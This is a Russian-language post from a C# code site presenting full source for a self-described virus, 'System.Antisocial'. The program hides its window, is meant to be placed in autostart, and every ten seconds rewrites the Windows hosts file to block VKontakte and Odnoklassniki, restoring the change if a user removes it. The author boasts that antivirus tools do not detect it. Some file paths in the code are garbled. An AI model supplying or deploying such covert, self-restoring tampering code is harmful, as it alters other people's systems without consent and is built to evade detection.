Справочник по C#

    Исходники по языку программирования CSharp

    Осторожно! Вирус на C#. System.Antisocial.: Справочник по C#

    /
    /
    /
    114 Views


          После того как социальные сети очень плотно вошли в нашу жизнь, многие люди стали там проводить практически всё своё свободное, а иногда и рабочее время. Особенно это касается подростков, хотя есть исключения в любом возрасте.
          Бессонные ночи, пропущенные уроки, отсутствие какой-либо самодеятельности и т.п. Было принято решение как-то бороться с этой социальной зависимостью. Для этого, собственно говоря, и был написан этот простенький вирус. Достаточно добавить его в автозагрузку и вуаля – cайты социальных сетей больше не доступны!
     Принцип его работы очень прост:

          Проверяется наличие файла hosts (C:WINDOWSsystem32driversetchosts). Если такой файл существует (а как правило он существует), то в него дописываются несколько строк, перенаправляющих пользователей с vkontakte.ru, vk.com, и odnoklassniki.ru на localhost. Наличие файла и переадресации в нем проверяется по таймеру – каждые 10 секунд, поэтому его удаление или редактирование через 10 секунд приведет к тому же самому результату (простая защита от “продвинутых” юзеров).

          Проект имеет всего лишь одну форму и таймер. Форма в процессе загрузки скрывается от глаз пользователя, поэтому если нужно прекратить действие программы – достаточно зарубить процесс в диспетчере задач и отредактировать файл hosts до прежнего состояния…

          На virustotal ни один антивирус не определяет текущий файл как вирус. В процессе работы срабатывание эвристики было замечено только у MS EssentialSecurity.
    Ну и, собственно говоря, само тело вируса:

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.IO;
    
    namespace systems
    {
    public partial class Form1 : Form
    {
    WorkWithHosts file = new WorkWithHosts();
    
    public Form1()
    {
    InitializeComponent();
    // Запускаем таймер
    timer1.Interval = 10000;
    timer1.Enabled = true;
    }
    
    private void Form1_Load(object sender, EventArgs e)
    {
    // Скрываем форму
    ShowInTaskbar = false;
    this.Visible = false;
    this.ShowIcon = false;
    }
    
    public void Start()
    {
    // проверяем наличие файла hosts
    // и строк переадресации
    if(!file.FileIsEnable())
    {
    file.CreateTheFile();
    }
    
    if(!file.FileContainUrl())
    {
    file.AddUrls();
    }
    }
    
    private void timer1_Tick(object sender, EventArgs e)
    {
    // Запуск программы
    Start();
    }
    }
    
    // Работаем с файлом hosts
    class WorkWithHosts
    {
    // получаем информацию о текущем файле
    FileInfo fileHosts = new FileInfo("C:\WINDOWS\system32\drivers\etc\hosts");
    
    // проверяем наличие файла
    public bool FileIsEnable()
    {
    if (fileHosts.Exists == false)
    {
    return false;
    }
    return true;
    }
    
    // создаем файл:
    public void CreateTheFile()
    {
    StreamWriter fileOrigin;
    string originInfo = "127.0.0.1       localhost";
    
    fileOrigin = File.CreateText("C:\WINDOWS\system32\drivers\etc\hosts");
    fileOrigin.WriteLine(originInfo);
    fileOrigin.Close();
    
    SetFileAttributes();
    }
    
    // устанавливаем аттрибуты файла (скрываем и разрешаем запись)
    private void SetFileAttributes()
    {
    fileHosts.Attributes = FileAttributes.ReadOnly | FileAttributes.Hidden;
    fileHosts.Attributes = fileHosts.Attributes & ~FileAttributes.ReadOnly;
    }
    
    // читаем содержимое файла
    private string[] ReadFile()
    {
    try
    {
    string[] hostsData = File.ReadAllLines(@"C:WINDOWSsystem32driversetchosts");
    return hostsData;
    }
    catch
    {
    return null;
    }
    }
    
    // проверяем наличие строк переадресации
    public bool FileContainUrl()
    {
    string[] hostsData = ReadFile();
    if (hostsData != null)
    {
    foreach (string url in hostsData)
    {
    if (url.IndexOf("vkontakte.ru") != -1)
    {
    return true;
    }
    }
    }
    else
    {
    CreateTheFile();
    }
    return false;
    }
    
    // Добавляем строки:
    public void AddUrls()
    {
    try
    {
    StreamWriter file = new StreamWriter("C:\WINDOWS\system32\drivers\etc\hosts", true);
    file.WriteLine();
    file.WriteLine("127.0.0.1       vk.com");
    file.WriteLine("127.0.0.1       vkontakte.ru");
    file.WriteLine("127.0.0.1       odnoklassniki.ru");
    file.Close();
    }
    catch
    {
    // Исключение предусмотрено на тот случай
    // если файл используется другим процессом
    Application.DoEvents();
    }
    }
    }
    }

    Осторожно! Вирус на C#. System.Antisocial.: Справочник по C#

    0.00 (0%) 0 votes

    moyadcode13
    • Facebook
    • Twitter
    • Google+
    • Linkedin
    • Pinterest
    moyadcode10
    moyadcode11
    moyadcode9